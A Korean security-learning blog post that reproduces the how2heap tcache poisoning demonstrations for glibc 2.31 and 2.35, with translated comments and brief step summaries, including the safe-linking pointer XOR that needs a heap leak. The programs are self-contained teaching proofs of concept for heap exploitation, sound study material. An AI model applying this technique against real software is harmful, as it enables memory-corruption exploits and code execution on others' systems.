ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (627)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (14)
      • dreamhack (13)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

background/linux

[how2heap] Tcache Poisoning (glibc 2.31/2.35)

2024. 4. 10. 16:01

glibc 2.31


https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	// 버퍼링 비활성화
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("이 파일은 malloc을 속여 임의의 위치(이 경우 스택)를 가리키는 포인터를 반환하도록 하는 간단한 tcache 독립성 공격을 보여줍니다.\n"
		   "이 공격은 fastbin 손상 공격과 매우 유사합니다.\n");
	printf("패치 후 https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "fd 포인터 위조 전에 패딩으로 한 번 더 청크를 생성하고 해제해야합니다.\n\n");

	size_t stack_var;
	printf("malloc()이 반환해야하는 주소는 %p입니다.\n", (char *)&stack_var);

	printf("두 개의 버퍼를 할당합니다.\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\n", b);

	printf("버퍼를 해제합니다...\n");
	free(a);
	free(b);

	printf("이제 tcache 목록에 [ %p -> %p ]이 있습니다.\n", b, a);
	printf("데이터의 첫 %lu 바이트 (fd/다음 포인터)를 %p의 위치로 조작하여 컨트롤하고자 하는 위치(%p)를 가리키도록 덮어 씁니다.\n", sizeof(intptr_t), b, &stack_var);
	b[0] = (intptr_t)&stack_var;
	printf("이제 tcache 목록에 [ %p -> %p ]이 있습니다.\n", b, &stack_var);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("이제 tcache 목록에 [ %p ]이 있습니다.\n", &stack_var);

	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	printf("컨트롤을 얻었습니다.\n");

	assert((long)&stack_var == (long)c);
	return 0;
}

 

1. tcache bin에 청크 2개를 넣는다.

2. 나중에 해제한 청크의 fd를 원하는 위치로 변조한다.

3. 두 번 malloc하면 변조한 위치에 청크가 할당된다.

 

 

glibc 2.35


https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	// 버퍼링 비활성화
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("이 파일은 malloc을 속여 임의의 위치(이 경우 스택)를 가리키는 포인터를 반환하도록 하는 간단한 tcache 독립성 공격을 보여줍니다.\n"
		   "이 공격은 fastbin 손상 공격과 매우 유사합니다.\n");
	printf("패치 후 https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "fd 포인터 위조 전에 패딩으로 한 번 더 청크를 생성하고 해제해야합니다.\n\n");
	printf("패치 후 https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
		   "tcache 독립성 공격을 수행하려면 힙 주소 유출이 필요합니다.\n"
		   "동일한 패치는 tcache에서 반환된 청크가 올바르게 정렬되도록 보장합니다.\n\n");

	size_t stack_var[0x10];
	size_t *target = NULL;

	// 적절하게 정렬된 대상 주소 선택
	for(int i=0; i<0x10; i++) {
		if(((long)&stack_var[i] & 0xf) == 0) {
			target = &stack_var[i];
			break;
		}
	}
	assert(target != NULL);

	printf("malloc()이 반환해야하는 주소는 %p입니다.\n", target);

	printf("두 개의 버퍼를 할당합니다.\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\n", b);

	printf("버퍼를 해제합니다...\n");
	free(a);
	free(b);

	printf("이제 tcache 목록에 [ %p -> %p ]이 있습니다.\n", b, a);
	printf("데이터의 첫 %lu 바이트 (fd/다음 포인터)를 %p의 위치로 조작하여 컨트롤하고자 하는 위치(%p)를 가리키도록 덮어 씁니다.\n", sizeof(intptr_t), b, target);
	// 취약점
	// 다음 작업은 b의 주소가 알려져 있다고 가정하며 이를 위해서는 힙 누출이 필요합니다.
	b[0] = (intptr_t)((long)target ^ (long)b >> 12);
	// 취약점
	printf("이제 tcache 목록에 [ %p -> %p ]이 있습니다.\n", b, target);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("이제 tcache 목록에 [ %p ]이 있습니다.\n", target);

	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	printf("컨트롤을 얻었습니다.\n");

	assert((long)target == (long)c);
	return 0;
}

 

2.31과 흐름은 동일하다.

다만 fd를 조작할 때 연산 과정이 존재하는데 힙 주소가 사용되므로 릭이 필요하다.

'background > linux' 카테고리의 다른 글

[pwn.college] Return Oriented Programming  (1) 2024.05.02
FSOP(File Stream Oriented Programming)  (0) 2024.04.29
[how2heap] House of Botcake (glibc 2.31)  (0) 2024.03.18
[how2heap] Fastbin dup into stack (glibc 2.35)  (1) 2024.03.11
[how2heap] Fastbin dup (glibc 2.35)  (0) 2024.03.05
    'background/linux' 카테고리의 다른 글
    • [pwn.college] Return Oriented Programming
    • FSOP(File Stream Oriented Programming)
    • [how2heap] House of Botcake (glibc 2.31)
    • [how2heap] Fastbin dup into stack (glibc 2.35)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바